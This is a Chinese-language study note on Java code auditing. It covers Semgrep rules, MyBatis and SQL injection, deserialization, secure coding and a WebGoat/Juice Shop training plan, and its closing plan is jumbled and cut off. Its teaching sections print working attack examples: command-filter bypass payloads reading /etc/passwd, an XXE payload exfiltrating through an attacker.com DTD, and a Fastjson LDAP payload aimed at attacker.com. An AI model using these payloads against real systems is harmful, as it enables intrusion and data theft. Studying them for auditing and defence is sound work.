代码审计学习笔记
目录
一、静态分析工具高阶用法
1. IDEA代码追溯技巧
2. Semgrep自定义规则开发
二、SQL注入深度突破
1. 不同数据库指纹识别
2. MyBatis注入点定位
三、命令注入进阶技巧
1. 绕过字符过滤的Payload
2. 进程注入检测
四、反序列化漏洞深度解析
1. 常见Gadget链特征
2. 自动化检测方案
五、企业级审计流程
1. 安全代码审查清单
2. 三方组件审计流程
六、渗透测试高阶技巧
1. SQL注入自动化利用
2. XXE漏洞深度利用
七、企业级安全编码规范
1. 输入验证白名单示例
2. 密码存储规范
八、工具链配置优化
1. Burp Suite高效配置
2. IDEA安全审计插件配置
九、典型漏洞案例分析
案例1:Fastjson反序列化漏洞
十、自动化审计系统搭建
1. 代码审计CI/CD流程
2. 自定义规则仓库结构
一、静态分析工具高阶用法
1. IDEA代码追溯技巧
操作流程:
实战案例:
// Controller层入口
@GetMapping("/user") public String getUser(@RequestParam String id) { return userService.findUser(id); }
// Service层处理
public String findUser(String userId) { String sql = "SELECT * FROM users WHERE id = " + userId;
// 漏洞点
return jdbcTemplate.query(sql, ...); }
追踪步骤:
- 在
jdbcTemplate.query(sql)
处按Alt+F7查看调用链 - 反向追踪
sql
变量的生成路径 - 确认
userId
是否来自用户输入
2. Semgrep自定义规则开发
示例:检测不安全的反射调用
rules: - id: unsafe-reflection patterns: - pattern: | Class.$CLASS().getMethod($METHOD, ...).invoke($OBJ, ...) - metavariable-regex: metavariable: $CLASS regex: (.*(Process|Runtime|File).*) message: 发现危险反射调用 languages: [java] severity: ERROR
扫描命令:
semgrep --config ./custom_rules/ --exclude 'test/' --json -o results.json
二、SQL注入深度突破
1. 不同数据库指纹识别
测试方法 | MYSQL | ORACLE | POSTGRESQL |
---|---|---|---|
注释符 | -- , # | -- | -- |
字符串拼接 | CONCAT() | ` | |
时间盲注 | SLEEP(5) | DBMS_LOCK.SLEEP(5) | PG_SLEEP(5) |
报错注入 | updatexml() | utl_inaddr.get_host_name | cast() |
2. MyBatis注入点定位
危险写法:
<select id="findUser" parameterType="String" resultType="User"> SELECT * FROM user WHERE name = '${name}' </select>
安全写法对比:
<select id="findUser" parameterType="String" resultType="User"> SELECT * FROM user WHERE name = #{name} </select>
审计技巧:
grep -rnw 'src/' -e '\${[a-zA-Z0-9_]*}'
三、命令注入进阶技巧
1. 绕过字符过滤的Payload
过滤条件 | 绕过方式 | 示例 |
---|---|---|
空格过滤 | ${IFS} 、< 、> | 127.0.0.1${IFS}cat/etc/passwd |
分号过滤 | && 、` | |
斜杠过滤 | 变量替换 | a=etc;b=passwd;cat $a/$b |
黑名单关键字 | 通配符、编码 | c\at 、c''at 、c$@t |
2. 进程注入检测
// 危险代码示例 String cmd = "sh -c $@|sh . echo " + userInput; Runtime.getRuntime().exec(cmd);
检测方法:
strace -f -e execve -s 1024 java VulnerableClass 2>&1 | grep 'execve('
四、反序列化漏洞深度解析
1. 常见Gadget链特征
组件 | 危险类 | 触发条件 |
---|---|---|
Commons-Collections | Transformer、InvokerTransformer | CC3.1以下版本 |
JDK原生 | JdbcRowSetImpl、TemplatesImpl | 存在JNDI注入点 |
Fastjson | parseObject自动触发getter/setter | 开启autoType |
2. 自动化检测方案
步骤:
- 使用GadgetInspector扫描依赖包
java -jar gadget-inspector.jar target.jar
- 分析chains.txt输出结果
- 使用ysoserial生成对应链的Payload
防御方案验证:
public class SafeObjectInputStream extends ObjectInputStream { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals("SafeClass")) { throw new InvalidClassException("Unauthorized deserialization"); } return super.resolveClass(desc); } }
五、企业级审计流程
1. 安全代码审查清单
风险等级 | 检查项 | 验证方法 |
---|---|---|
高危 | 未授权访问、SQL注入、RCE | 代码扫描+人工验证 |
中危 | XSS、CSRF、越权 | 自动化工具+边界测试 |
低危 | 日志泄露、配置不当 | 配置检查+敏感信息扫描 |
2. 三方组件审计流程
工具链:
# 组件漏洞扫描 dependency-check.sh --project myproject --scan target/lib
六、渗透测试高阶技巧
1. SQL注入自动化利用
使用sqlmap进行二阶注入:
sqlmap -u "http://site.com/search" --data "query=test" --second-url "http://site.com/userinfo" --second-req "user=admin"
2. XXE漏洞深度利用
经典Payload:
<!-- 读取本地文件 --> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user>&xxe;</user> <!-- 外带数据 --> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;
防御方案验证:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
七、企业级安全编码规范
1. 输入验证白名单示例
// 文件名校验 if (!fileName.matches("^[a-zA-Z0-9_\\-]+\\.(jpg|png)$")) { throw new InvalidFileNameException(); } // SQL参数过滤 String safeParam = userInput.replaceAll("[^a-zA-Z0-9@.]", "");
2. 密码存储规范
// BCrypt正确用法 BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12); String hashedPassword = encoder.encode(rawPassword); // 错误示范:使用SHA-256未加盐 DigestUtils.sha256Hex(password);
八、工具链配置优化
1. Burp Suite高效配置
# 配置文件 burp.json { "proxy": { "request_listeners": [ { "enabled": true, "intercept": "all", "auto_forward": false } ] }, "session": { "cookie_jar": { "store_cookies": true } } }
2. IDEA安全审计插件配置
<!-- 插件清单 plugins.xml --> <plugins> <plugin id="com.findsecbugs.findsecbugs-plugin"> <config> <detectors> <detector>SQL_INJECTION</detector> <detector>COMMAND_INJECTION</detector> </detectors> </config> </plugin> </plugins>
九、典型漏洞案例分析
案例1:Fastjson反序列化漏洞
漏洞代码:
JSON.parseObject(userInput, Object.class); // 开启autoType时危险
攻击Payload:
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true }
修复方案:
ParserConfig.getGlobalInstance().setSafeMode(true);
十、自动化审计系统搭建
1. 代码审计CI/CD流程
# GitLab CI 示例 stages: - security code_audit: stage: security script: - semgrep --config=p/java - dependency-check.sh --project $CI_PROJECT_NAME - spotbugs -textui -effort:max -high target/ artifacts: paths: - audit_report.html
2. 自定义规则仓库结构
rules/ ├── java │ ├── sql-injection.yaml │ ├── rce.yaml │ └── deserialization.yaml ├── python └── generic
实操:
-
环境准备阶段
使用Docker搭建完整靶场环境:docker run -d --name webgoat -p 8080:8080 webgoat/webgoat docker run -d --name juice-shop -p 3000:3000 bkimminich/juice-shop
-
每日训练计划
上午:静态分析工具实操(
完成以下任务视为掌握基础审计能力: -
- 在WebGoat中独立完成5种以上漏洞的利用和修复
- 对开源项目(如Spring PetClini
IDEA+Semgrep) 漏洞原理研究(分析CVE报告)
下午(1小时): 靶场渗透测试(WebGoat/Juice Shop)编写审计报告
-
技能验证标准
- c)完成安全审计并提交报告
- 编写至少3条有效的自定义Semgrep规则